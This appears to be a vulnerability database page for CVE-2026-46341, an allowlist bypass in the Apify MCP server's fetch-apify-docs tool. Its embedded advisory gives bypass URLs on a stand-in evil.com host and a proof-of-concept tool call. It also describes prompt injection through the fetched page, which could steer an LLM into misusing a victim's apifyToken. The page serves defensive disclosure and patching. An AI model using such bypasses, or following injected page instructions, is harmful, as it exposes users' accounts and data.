CVE-2026-46341: @apify/actors mcp server Domain Allowlist Bypass Vulnerability
MODERATECVE-2026-46341 is a MODERATE (CVSS 6.1) domain allowlist bypass vulnerability (CWE-183: Permissive List of Allowed Inputs) affecting @apify/actors mcp server libraries in the npm ecosystem. The issue involves domain allowlist bypass in fetch-apify-docs via string prefix matching. Remediation is available by upgrading affected packages to version 0.9.21.
CVE-2026-46341 at a Glance
Security Impact
CVSS: 6.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-46341
To remediate this vulnerability, upgrade all affected @apify/actors mcp server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @apify/actors-mcp-server@0.9.21
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @apify/actors-mcp-server
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-46341, inspect your project dependencies using npm:
npm ls @apify/actors-mcp-server
Analyze the terminal output to locate any version of @apify/actors mcp server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.21), your application is affected.
Note: The npm ls @apify/actors-mcp-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-183: Permissive List of Allowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. In @apify/actors mcp server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46341 Affected @apify/actors mcp server Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@apify/actors-mcp-server
|
npm |
< 0.9.21
|
0.9.21
|
References
Frequently Asked Questions
What is CVE-2026-46341?
Which @apify/actors mcp server versions are affected?
What version fixes CVE-2026-46341?
Is @apify/actors-mcp-server affected?
What is the CVSS score of CVE-2026-46341?
What CWE is associated with CVE-2026-46341?
How can I check npm dependencies for CVE-2026-46341?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jwp7-wg77-3w9v",
"modified" : "2026-05-19T16:34:35Z",
"published" : "2026-05-19T16:34:34Z",
"aliases" : [ "CVE-2026-46341" ],
"summary" : "Apify Model Context Protocol (MCP) server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching",
"details" : "### Summary\nThe `fetch-apify-docs` tool validates URLs against a domain allowlist using `String.startsWith()` instead of proper URL hostname comparison. This allows bypass via attacker-controlled subdomains (e.g., `https://docs.apify.com.evil.com/`), enabling the tool to fetch and return arbitrary web content to the LLM.\n\n### Details\n#### Vulnerable component\n\n`src/tools/common/fetch_apify_docs.ts`, line 51:\n\n```typescript\nconst isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) => url.startsWith(domain));\n```\n\n`src/const.ts`, lines 167-170:\n\n```typescript\nexport const ALLOWED_DOC_DOMAINS = [\n 'https://docs.apify.com',\n 'https://crawlee.dev',\n] as const;\n```\n\n#### How the bypass works\n\n`String.startsWith('https://docs.apify.com')` matches any string beginning with that prefix, including:\n\n- `https://docs.apify.com.evil.com/payload` - attacker-controlled subdomain\n- `https://docs.apify.com@evil.com/payload` - userinfo component in URL (browser behavior varies, but `fetch()` in Node.js may follow this)\n- `https://docs.apify.com.evil.com:8080/path` - custom port on attacker domain\n\nAll of these pass the `startsWith` check because they begin with the exact string `https://docs.apify.com`.\n\n#### The fetched content is returned to the LLM\n\nAfter the allowlist check passes, the tool fetches the URL and returns the full page content as markdown (`fetch_apify_docs.ts:69-103`):\n\n```typescript\nconst response = await fetch(url);\n// ...\nconst html = await response.text();\nmarkdown = htmlToMarkdown(html);\n// ...\nreturn buildMCPResponse({ texts: [`Fetched content from ${url}:\\n\\n${markdown}`], ... });\n```\n\nThe HTML is converted to markdown and returned verbatim to the LLM. This creates a prompt injection vector - the attacker's page can contain instructions that the LLM may follow.\n\nWhile tools like `get-html-skeleton` have no domain allowlist at all - it accepts any URL. The `fetch-apify-docs` tool was clearly intended to be more restricted (documentation-only), but the `startsWith` check defeats that intent.\n\n### PoC\n```json\n{\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"fetch-apify-docs\",\n \"arguments\": {\n \"url\": \"https://docs.apify.com.evil.com/prompt-injection-payload\"\n }\n }\n}\n```\n\nThe URL passes the `startsWith('https://docs.apify.com')` check, fetches the attacker's page, and returns its content to the LLM.\n### Impact\n- **Prompt injection via fetched content**: Attacker hosts a page at `docs.apify.com.evil.com` containing LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions.\n- **Security boundary violation**: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent.\n- **SSRF (limited)**: The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access.\n- **Account compromise via _meta.apifyToken**: Injected prompt instructions can direct the LLM to include a specific `_meta.apifyToken` (the server's per-request token feature) in subsequent `call-actor` invocations, redirecting billable operations to a victim's account or accessing their private Actors",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@apify/actors-mcp-server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.9.21"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/apify/apify-mcp-server"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-183", "CWE-20" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-19T16:34:34Z",
"nvd_published_at" : null
}
}